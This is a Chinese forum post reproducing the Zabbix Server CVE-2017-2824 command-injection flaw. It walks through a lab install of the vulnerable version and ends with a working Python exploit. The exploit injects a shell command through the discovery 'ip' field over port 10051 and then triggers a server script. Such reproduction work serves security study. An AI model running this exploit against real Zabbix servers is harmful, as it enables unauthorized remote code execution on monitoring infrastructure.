monicazhang 发表于 2017-8-25 16:21:13

关于漏洞详解Zabbix Server Active Proxy Trappe RCE(CVE-2017-2824)

前言有点相似Zabbix是一种企业监控解决方案,旨在使组织能够监控其网络中各种系统的健康状况和状态,包括:网络服务,服务器和网络设备。前些日子Lilith Wyatt of Cisco ASIG 发现利用命令注入的形式可以在Zabbix Server上实现远程代码执行,影响的版本为Zabbix 2.4.7 – 2.4.8r1。在复现过程中发现利用条件比较苛刻,首先需要能访问到Zabbix Server监听的10051端口,另外需要配置Proxy,以及相应的Action来自动添加Host,从而达到利用ip参数进行命令注入。
1. 基础工作下载centos7 用virtualbox进行运行,接下来就是安装php mysql apache等相关基础运行环境。关闭SELinux和防火墙以及启动httpd,mariadb。添加zabbix组和用户,zabbix_server组件默认会用zabbix用户启动
yum install php php-mysql php-gd php-pear mariadb-server mariadbsystemctl start mariadbsystemctl start httpdsystemctl stop firewalld.servicesetenforce 0groupadd zabbixuseradd -g zabbix zabbix
2. 编译安装Zabbix2.1 下载有漏洞的版本wget [project/zabbix/ZABBIX%20Latest%20Stable/2.4.7/zabbix-2.4.7.tar.gz](project/zabbix/ZABBIX%20Latest%20Stable/2.4.7/zabbix-2.4.7.tar.gz)2.2 安装依赖yum install -y curl curl-devel mydql-devel net-snmp snmp net-snmp-devel perl-DBI php-gd php-xml php-bcmath php-mbstring php-ldap php-odbc php-xmlrpc2.3 编译并安装可以修改--prefix参数来选择安装目录tar -xvf zabbix-2.4.7.tar.gzcd zabbix-2.4.7/./configure --prefix=/usr/local/zabbix --enable-server --enable-agent --enable-proxy --with-mysql --enable-net-snmp --with-libcurl makemake install2.4 导入数据mysql -uroot>create database zabbix character set utf8 collate utf8_bin;>use zabbix;>source /root/zabbix-2.4.7/database/mysql/schema.sql>source /root/zabbix-2.4.7/database/mysql/images.sql>source /root/zabbix-2.4.7/database/mysql/data.sql
3. 安装Zabbix Web界面3.1 复制PHP文件到web目录mkdir /var/www/html/tcd frontends/phpcp -a . /var/www/html/tcd /var/www/html/tchown apache:apache -R .3.2 修改php.ini由于访问setup.php时需要符合一定的配置post_max_size = 16Mmax_execution_time = 300max_input_time = 300date.timezone = Asia/Shanghaiallow_url_fopen = On3.3 安装前端访问虚拟机的80端口进行安装,安装后默认登录凭证是Admin/zabbix
4 漏洞复现4.1 添加 proxyAdministration > proxies > Create proxy记下填写的name4.2 创建 Actionconfiguration > action > Event source(Discovery)> Create Action配置好条件和操作,操作为Add host4.3 触发漏洞当zabbix_server启动时会监听在10051端口,该端口如果对外开放,攻击者可以利用zabbix协议的command功能调用数据库中特定的脚本,只需要提供interface表中的hostid参数。在调用脚本时,{HOST.CONN}会被替换成表中的ip。由于插入的ip数据没有被过滤则将发生命令注入,严重时可以反弹shell等。默认情况下,未经身份验证(需通过Zabbix授权)的攻击者无法做到这一点。要利用该漏洞还需要以下条件:配置好Action的自动发现功能,该功能可以将恶意的数据插入到interface表(配合Add host操作),从而可以进行命令注入攻击。import socketimport structimport jsonZABBIX_HOST = "192.168.1.12"ZABBIX_PORT = 10051def send_to_zabbix(data):    client = socket.socket()    client.connect((ZABBIX_HOST,ZABBIX_PORT))    packet = "ZBXD\x01" + struct.pack('<Q', len(data)) + data    client.sendall(packet)    head = client.recv(1024)    if "ZBXD" not in head:      client.close()      return head    pkt_len = struct.unpack('<Q', client.recv(8))    data = client.recv(pkt_len)    client.close()    return datadata = """{"request":"command","scriptid":1,"hostid":10107}"""discovery = """{    "request": "discovery data",    "host": "test",    "clock":1485353070,    "data": [      {            "clock":1485353070,            "drule":2,            "dcheck":2,            "type":0,            "ip":";whoami > /tmp/pwned;",                  "dns":"abc.com.cc",            "port":10050,            "key":"zzztest",            "status":0,            "value":"fuck"      }    ]    }"""#利用自动发现功能添加Host#可以‘select * from interface;’ 查看是否自动添加成功print send_to_zabbix(discovery)#利用命令注入进行攻击# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1print send_to_zabbix(data)hostid添加到interface表后需要自己查看修改。运行后可以看到生成了/tmp/pwned文件
5. 参考documentation/2.4/manual/installation/installbrowse/ZBX-12075documentation/1.8/protocols xqzt/p/5126523.html

原创:星光@TCC Group

页: [1]
查看完整版本: 关于漏洞详解Zabbix Server Active Proxy Trappe RCE(CVE-2017-2824)